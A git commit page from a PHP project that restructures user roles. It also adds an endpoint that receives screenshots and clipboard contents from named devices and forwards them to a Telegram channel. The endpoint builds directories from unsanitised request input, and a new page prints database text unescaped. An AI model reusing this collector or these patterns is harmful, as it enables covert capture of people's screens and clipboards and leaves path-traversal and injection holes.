[+] новая структура ролей

This commit is contained in:
rsgrinko committed 2023-03-01 23:16:08 +03:00
1 parent 52005a6299
commit d1236ae1ef
6 files changed
+72 -116

No files matched your search

+4 -2
View File
@@ -24,10 +24,12 @@
require_once __DIR__ . '/bootstrap.php'; require_once __DIR__ . '/bootstrap.php';
global $USER, $arUser; global $USER, $arUser;
if (!User::isAuthorized() && $_SERVER['REQUEST_URI'] !== '/login.php') { if (User::isAuthorized() === false && $_SERVER['REQUEST_URI'] !== '/login.php') {
header('Location: login.php'); header('Location: login.php');
die(); die();
} elseif (!$USER->isAdmin()) { }
if ($USER->isAdmin() === false && $USER->haveAccessToAdminPanel() === false) {
header('Location: ../'); header('Location: ../');
die(); die();
} }
@@ -105,7 +105,7 @@
* *
* @return $this * @return $this
*/ */
public function setChat(int $chatId): self public function setChat(string $chatId): self
{ {
$this->chatId = $chatId; $this->chatId = $chatId;
return $this; return $this;
+11 -1
View File
@@ -42,10 +42,20 @@
*/ */
const ADMIN_ROLE_ID = 1; const ADMIN_ROLE_ID = 1;
/**
* Роль "система"
*/
const SYSTEM_ROLE_ID = 2;
/**
* Роль "доступ в панель администратора"
*/
const ADMIN_PANEL_ROLE_ID = 3;
/** /**
* Роль "пользователь" * Роль "пользователь"
*/ */
const USER_ROLE_ID = 2; const USER_ROLE_ID = 5;
/** /**
* @var User $user * @var User $user
+11
View File
@@ -641,6 +641,17 @@
return in_array(Roles::ADMIN_ROLE_ID, $this->getRolesObject()->getRoles(), true); return in_array(Roles::ADMIN_ROLE_ID, $this->getRolesObject()->getRoles(), true);
} }
/**
* Проверка на админа
*
* @return bool
* @throws CoreException
*/
public function haveAccessToAdminPanel(): bool
{
return in_array(Roles::ADMIN_PANEL_ROLE_ID, $this->getRolesObject()->getRoles(), true);
}
/** /**
* Метод выхода из системы * Метод выхода из системы
*/ */
+22 -112
View File
@@ -1,124 +1,34 @@
<?php <?php
//use Core\CoreException;
//use Core\ExternalServices\Telegram; declare(strict_types=1);
use Core\Models\{User, DB, Roles};
//use Core\Helpers\{SystemFunctions, Cache, Log, Mail, Zip, Pagination, Files}; use Core\ExternalServices\TelegramSender;
const USE_ROUTER = false; const USE_ROUTER = false;
require_once $_SERVER['DOCUMENT_ROOT'] . '/core/bootstrap.php'; require_once $_SERVER['DOCUMENT_ROOT'] . '/core/bootstrap.php';
$DB = DB::getInstance(); $deviceId = $_REQUEST['MachineName'] . '_' . $_REQUEST['UserName'];
$res = $DB->query('SELECT * FROM podslyshano WHERE note <> "" ORDER BY RAND() LIMIT 10');
//$res = $DB->query('SELECT * FROM podslyshano ORDER BY ID DESC LIMIT 1')[0];
//echo '<pre>' . print_r($res, true). '</pre>'; $uploadPath = './uploads/screenshots/' . $deviceId;
if (!file_exists($uploadPath)) {
mkdir($uploadPath, 0777, true);
function num_word($value, $words, $show = true)
{
$num = $value % 100;
if ($num > 19) {
$num = $num % 10;
} }
$out = ($show) ? $value . ' ' : ''; $uploadfile = $uploadPath . '/' . date("YmdHis") . '_' . basename($_FILES['screenshot']['name']);
switch ($num) { move_uploaded_file($_FILES['screenshot']['tmp_name'], $uploadfile);
case 1: $out .= $words[0]; break;
case 2: $clipboard = '---- пусто ----';
case 3: if (!empty($_REQUEST['Clipboard'])) {
case 4: $out .= $words[1]; break; $clipboard = iconv('utf-8//IGNORE', 'cp1252//IGNORE', $_REQUEST['Clipboard']);
default: $out .= $words[2]; break; $clipboard = iconv('cp1251//IGNORE', 'utf-8//IGNORE', $clipboard);
} }
return $out;
}
function secToStr($secs) (new TelegramSender(TELEGRAM_BOT_TOKEN))->setChat(TELEGRAM_NOTIFICATION_CHANNEL)->sendPhoto(
{ $uploadfile,
$days = floor($secs / 86400); '<b>Дата:</b> ' . date('Y-m-d H_i:s') . PHP_EOL . '<b>Имя устройства:</b> ' . $deviceId . PHP_EOL . '<b>Буфер: </b>' . $clipboard
$secs %= 86400; );
if ($days > 0) { @unlink($uploadfile);
return num_word($days, ['день', 'дня', 'дней']); echo 'ok';
}
$hours = floor($secs / 3600); //sendTelegram($_REQUEST['Clipboard']);
$secs %= 3600;
if ($hours > 0) {
return num_word($hours, ['час', 'часа', 'часов']);
}
$minutes = floor($secs / 60);
$secs %= 60;
if ($minutes > 0) {
return num_word($minutes, ['минута', 'минуты', 'минут']);
}
return num_word($secs, ['секунда', 'секунды', 'секунд']);
}
?>
<meta name="viewport" content="width=device-width, initial-scale=1">
<div class="content">
<?php foreach($res as $post) { ?>
<div class="post">
<div class="id">#<?= $post['post_id'] ?></div>
<div class="createdAt" title="<?= $post['created_at'] ?>"><?= secToStr(time() - strtotime($post['created_at'])) ?> назад</div>
<div class="note"><?= stripslashes($post['note']) ?></div>
<div class="slug"><?= $post['category_name'] ?></div>
<div class="likes">❤ <?= $post['likes_count'] ?></div>
</div>
<?php }
$counter = $DB->query('SELECT count(id) as counter FROM podslyshano')[0]['counter'];
?>
<div class="footer">
<div class="dbInfo">В базе записей: <?= $counter ?></div>
</div>
</div>
<style>
.content {
width: 600px;
margin: 0 auto;
}
.post {
border: 1px solid #e3e3e3;
padding: 10px;
box-shadow: 2px 2px 12px 0px #cfcfcf;
background: #fffef8;
margin-bottom: 20px;
}
.id {
display: inline-block;
color: #0063dd;
font-weight: bolder;
}
.createdAt {
display: inline-block;
float: right;
color: #a7a7a7;
font-style: italic;
}
.slug {
color: #0063dd;
font-weight: bolder;
display: inline-block;
}
.note {
margin-top: 10px;
margin-bottom: 10px;
}
.likes {
float: right;
display: inline-block;
}
</style>
+23
View File
@@ -0,0 +1,23 @@
<?php
use Core\Models\DB;
const USE_ROUTER = false;
require_once $_SERVER['DOCUMENT_ROOT'] . '/core/bootstrap.php';
$DB = DB::getInstance();
$res = $DB->query('SELECT * FROM `bashorg` limit 20');
foreach ($res as $item) {
?>
<div>
<h1><?= $item['date_created'] ?></h1>
<p><?= $item['text'] ?></p>
<span>рейтинг: <?= $item['rating'] ?></span>
</div>
<?php
}